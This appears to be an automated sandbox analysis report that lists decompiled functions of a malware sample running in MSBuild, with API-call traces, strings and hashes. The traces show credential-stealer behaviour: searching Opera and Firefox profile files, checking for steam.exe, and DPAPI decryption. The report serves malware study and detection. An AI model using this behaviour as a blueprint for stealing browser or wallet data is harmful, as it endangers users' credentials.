Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$Find$lstrcpy$Close$CopyCreateDeleteFirstNextlstrcat$AllocAttributesFolderHandleLocalObjectPathReadSingleSizeSleepSystemThreadTimeWaitlstrlen
String ID: \*.*
API String ID: 1475085387-1173974218
Opcode ID: 5ec9d7e94330c494ef8d97e02669de3abc0dd461b5c13207354e91a8054b7340
Instruction ID: 6e187b3dd7c688dd3e2975bf598ceb31540ecf4cce5f896a17779636691c6a6b
Opcode Fuzzy Hash: 5ec9d7e94330c494ef8d97e02669de3abc0dd461b5c13207354e91a8054b7340
Instruction Fuzzy Hash: 1A320E71A401299BCF21FB25DD4A6CD7375AF04308F5100EAB548B71A1DBB8AFC98F98

Function 0041543D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 140stringfileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0041546A
FindFirstFileA.KERNEL32(?,?), ref: 00415481
StrCmpCA.SHLWAPI(?,00436A80), ref: 004154A2
StrCmpCA.SHLWAPI(?,00436A84), ref: 004154BC
lstrcatA.KERNEL32(?), ref: 0041550D
lstrcatA.KERNEL32(?), ref: 00415520
lstrcatA.KERNEL32(?,?), ref: 00415534
lstrcatA.KERNEL32(?,?), ref: 00415547
lstrcatA.KERNEL32(?,00436A88), ref: 00415559
lstrcatA.KERNEL32(?,?), ref: 0041556D

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

FindNextFileA.KERNEL32(?,?), ref: 00415623
FindClose.KERNEL32(?), ref: 00415637

Strings

%s\%s, xrefs: 0041545E

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Find$CloseCreate$AllocFirstHandleLocalNextObjectReadSingleSizeThreadWaitlstrcpywsprintf
String ID: %s\%s
API String ID: 1150833511-4073750446
Opcode ID: 64224958b159b6d22f10ba55480620843db225054c2a355b86054d57ffa9fb44
Instruction ID: 497a639e9f9bed764e2b609cea13bbac8422ccb0898e6bf0b5073c566259866f
Opcode Fuzzy Hash: 64224958b159b6d22f10ba55480620843db225054c2a355b86054d57ffa9fb44
Instruction Fuzzy Hash: 4F515FB190021C9BCF64DF60CC89AC9B7BDAB48305F1044E6E609E3250EB369B85CF65

Function 0040BF4D Relevance: 19.7, APIs: 7, Strings: 4, Instructions: 420fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,\*.*,0043682E,0040CC6B,?,?), ref: 0040BFC5
StrCmpCA.SHLWAPI(?,00437470), ref: 0040BFE5
StrCmpCA.SHLWAPI(?,00437474), ref: 0040BFFF
StrCmpCA.SHLWAPI(?,Opera,00436843,00436842,00436837,00436836,00436833,00436832,0043682F), ref: 0040C08B
StrCmpCA.SHLWAPI(?,Opera GX), ref: 0040C099
StrCmpCA.SHLWAPI(?,Opera Crypto), ref: 0040C0A7

Strings

Opera Crypto, xrefs: 0040C09F
\*.*, xrefs: 0040BF73
Opera, xrefs: 0040C083
Opera GX, xrefs: 0040C091

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FileFindFirstlstrlen
String ID: Opera$Opera Crypto$Opera GX$\*.*
API String ID: 2567437900-1710495004
Opcode ID: 52ecbd5b4a38551fbf1eff65d9ccd163c8eed750bdefbe09ee6b3e091a2c5729
Instruction ID: 0260d5c266de210f65568f4b73986d2e2321fdcb1199aff99a3b39d86c03169e
Opcode Fuzzy Hash: 52ecbd5b4a38551fbf1eff65d9ccd163c8eed750bdefbe09ee6b3e091a2c5729
Instruction Fuzzy Hash: F4021C71A401299BCF21FB26DD466CD7775AF14308F4111EAB948B3192DBB86FC98F88

Function 00415142 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 146stringCOMMON

Download Yara Rule

APIs

GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 004151C2
_memset.LIBCMT ref: 004151E5
GetDriveTypeA.KERNEL32(?), ref: 004151EE
lstrcpyA.KERNEL32(?,?), ref: 0041520E
lstrcpyA.KERNEL32(?,?), ref: 00415229

Part of subcall function 00414CC8: wsprintfA.USER32 ref: 00414D1C
Part of subcall function 00414CC8: FindFirstFileA.KERNEL32(?,?), ref: 00414D33
Part of subcall function 00414CC8: _memset.LIBCMT ref: 00414D4F
Part of subcall function 00414CC8: _memset.LIBCMT ref: 00414D60
Part of subcall function 00414CC8: StrCmpCA.SHLWAPI(?,004369F8), ref: 00414D81
Part of subcall function 00414CC8: StrCmpCA.SHLWAPI(?,004369FC), ref: 00414D9B
Part of subcall function 00414CC8: wsprintfA.USER32 ref: 00414DC2
Part of subcall function 00414CC8: StrCmpCA.SHLWAPI(?,0043660F), ref: 00414DD6
Part of subcall function 00414CC8: wsprintfA.USER32 ref: 00414DFF
Part of subcall function 00414CC8: _memset.LIBCMT ref: 00414E28
Part of subcall function 00414CC8: lstrcatA.KERNEL32(?,?), ref: 00414E3D

lstrcpyA.KERNEL32(?,00000000), ref: 0041524A
lstrlenA.KERNEL32(?), ref: 004152C4

Strings

%DRIVE_FIXED%, xrefs: 00415230
%DRIVE_REMOVABLE%, xrefs: 00415215
*%DRIVE_REMOVABLE%*, xrefs: 0041518F
*%DRIVE_FIXED%*, xrefs: 0041515E

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: _memset$lstrcpywsprintf$Drive$FileFindFirstLogicalStringsTypelstrcatlstrlen
String ID: %DRIVE_FIXED%$%DRIVE_REMOVABLE%$*%DRIVE_FIXED%*$*%DRIVE_REMOVABLE%*
API String ID: 441469471-147700698
Opcode ID: c9d42909db418974abad73dc19fd428f4d65fc45d37dbb9aa4a689193fe46e70
Instruction ID: ea4f15970c6a5d4b45be7a2176528fb80d3ae30a0f48c86a9c416c7322ab13a3
Opcode Fuzzy Hash: c9d42909db418974abad73dc19fd428f4d65fc45d37dbb9aa4a689193fe46e70
Instruction Fuzzy Hash: 3C512CB190021CAFDF219FA1CC85BDA7BB9FB05304F1041AAEA49A7111EB355E89CF59

Function 0040D5C6 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 229fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,00437570,004368A3,?,?,?), ref: 0040D647
StrCmpCA.SHLWAPI(?,00437574), ref: 0040D668
StrCmpCA.SHLWAPI(?,00437578), ref: 0040D682
StrCmpCA.SHLWAPI(?,prefs.js,0043757C,?,004368AE), ref: 0040D70E

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

CopyFileA.KERNEL32(?,?,00000001), ref: 0040D7E8
DeleteFileA.KERNEL32(?), ref: 0040D8B3
FindNextFileA.KERNELBASE(?,?), ref: 0040D956
FindClose.KERNEL32(?), ref: 0040D96A

Strings

prefs.js, xrefs: 0040D702

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextSystemTimelstrlen
String ID: prefs.js
API String ID: 893096357-3783873740
Opcode ID: bfb07b7c417370cc65cdf3c113b30ca7fb62479600deee231d6f3beb901ab667
Instruction ID: 52904dbdec7a8812f0d6252b7ecd21146621a6019d038770ccdf13318407303e
Opcode Fuzzy Hash: bfb07b7c417370cc65cdf3c113b30ca7fb62479600deee231d6f3beb901ab667
Instruction Fuzzy Hash: D3A10C71D001289BCF60FB65DD46BCD7375AF04318F4141EAA808B7292DB79AEC98F99

Function 0040B5DF Relevance: 13.7, APIs: 9, Instructions: 217fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,00437424,00436822,?,?,?), ref: 0040B657
StrCmpCA.SHLWAPI(?,00437428), ref: 0040B678
StrCmpCA.SHLWAPI(?,0043742C), ref: 0040B692
StrCmpCA.SHLWAPI(?,00437430,?,00436823), ref: 0040B71F
StrCmpCA.SHLWAPI(?), ref: 0040B780

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 0040ABE5: CopyFileA.KERNEL32(?,?,00000001), ref: 0040AC8A

FindNextFileA.KERNELBASE(?,?), ref: 0040B8EB
FindClose.KERNEL32(?), ref: 0040B8FF

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFind$lstrcat$CloseCopyFirstNextlstrlen
String ID:
API String ID: 3801961486-0
Opcode ID: 2f9eaede6a784df842a591c25a0cd1165b2f0564e05c296c23f42ffc82e080ae
Instruction ID: e9d49ef9ce8a2bc9a117d4fe253b15a3b51ee7ef692749dde95bb5dd1480248d
Opcode Fuzzy Hash: 2f9eaede6a784df842a591c25a0cd1165b2f0564e05c296c23f42ffc82e080ae
Instruction Fuzzy Hash: A0812C7290021C9BCF20FB75DD46ADD7779AB04308F4501A6EC48B3291EB789E998FD9

Function 004124A8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 39processCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 004124B2
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004124D4
Process32First.KERNEL32(00000000,00000128), ref: 004124E4
Process32Next.KERNEL32(00000000,00000128), ref: 004124F6
StrCmpCA.SHLWAPI(?,steam.exe), ref: 00412508
CloseHandle.KERNEL32(00000000), ref: 00412521

Strings

steam.exe, xrefs: 004124B7, 00412500

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prolog3_catch_HandleNextSnapshotToolhelp32
String ID: steam.exe
API String ID: 1799959500-2826358650
Opcode ID: 1e05f0965f72d128c620ac0fa61a73bdd70f09bb6f681c8712c2487e80381a4f
Instruction ID: a3cdee16b5dfd04d3bd918c7eedd9f2c5ccf5c1b7225a83da59ac7103b0bc528
Opcode Fuzzy Hash: 1e05f0965f72d128c620ac0fa61a73bdd70f09bb6f681c8712c2487e80381a4f
Instruction Fuzzy Hash: 81012170A01224DFDB60DB64DD45BDE77B9AF09311F4011E6E409E2290EB398B81CB25

Function 00410DDB Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 82memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

GetKeyboardLayoutList.USER32(00000000,00000000,0043670D,?,?), ref: 00410E0C
LocalAlloc.KERNEL32(00000040,00000000), ref: 00410E1A
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 00410E28
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,00000000), ref: 00410E57

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

LocalFree.KERNEL32(00000000), ref: 00410EFF

Strings

/ , xrefs: 00410E73

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcatlstrlen
String ID: /
API String ID: 507856799-4001269591
Opcode ID: b5110414db0781ed465f941b9ae6bcaf1628d348266bcf15fae52e8b0fa6dca4
Instruction ID: ba20de4f6d07cba688775156cda93bca6e715b227c052c7d3b8ee28496ea85f9
Opcode Fuzzy Hash: b5110414db0781ed465f941b9ae6bcaf1628d348266bcf15fae52e8b0fa6dca4
Instruction Fuzzy Hash: 2A314F71900328AFCB20EF65DD89BDEB3B8AB04304F5045EAF519A3152D7B86EC58F54

Function 0041257F Relevance: 9.0, APIs: 6, Instructions: 37processCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 00412589
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,0000013C,00417F41,.exe,00436CCC,00436CC8,00436CC4,00436CC0,00436CBC,00436CB8,00436CB4,00436CB0,00436CAC,00436CA8,00436CA4), ref: 004125A8
Process32First.KERNEL32(00000000,00000128), ref: 004125B8
Process32Next.KERNEL32(00000000,00000128), ref: 004125CA
StrCmpCA.SHLWAPI(?), ref: 004125DC
CloseHandle.KERNEL32(00000000), ref: 004125F0

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prolog3_catch_HandleNextSnapshotToolhelp32
String ID:
API String ID: 1799959500-0
Opcode ID: 3a25e308f3e13ec267530d7d1545f0ea3354c92615fb9149f05ae7eefacbcf4d
Instruction ID: a342571249a904de89e2d28a6ac51ba89f12813f8da7ed82e50d95a069ae9259
Opcode Fuzzy Hash: 3a25e308f3e13ec267530d7d1545f0ea3354c92615fb9149f05ae7eefacbcf4d
Instruction Fuzzy Hash: C1018135600224AFEB61DB609D48FEE77FE9F19301F8400E6E40DE2251EA798B849B35

Function 004080A1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,0040823B), ref: 004080C4
LocalAlloc.KERNEL32(00000040,0040823B,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080D8
LocalFree.KERNEL32(0040CB95,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080FD

Strings

DPAPI, xrefs: 004080A9

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID: DPAPI
API String ID: 2068576380-1690256801
Opcode ID: 68541e4e27b52eb825a4d6409286c391da9f85c95d41b42c5068ab7ee50209a7
Instruction ID: 09c146c598fe2db9e3360274f95d94fd5a71afecc77b7c133579c0d37eeb6d97
Opcode Fuzzy Hash: 68541e4e27b52eb825a4d6409286c391da9f85c95d41b42c5068ab7ee50209a7
Instruction Fuzzy Hash: 5901ECB5A01218EFCB04DFA8D88489EBBB9FF48754F158466E906E7341D7719F05CB90

Function 004114A5 Relevance: 6.1, APIs: 4, Instructions: 56processCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00436712,?,?), ref: 004114D4
Process32First.KERNEL32(00000000,00000128), ref: 004114E4
Process32Next.KERNEL32(00000000,00000128), ref: 00411542
CloseHandle.KERNEL32(00000000), ref: 0041154D

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

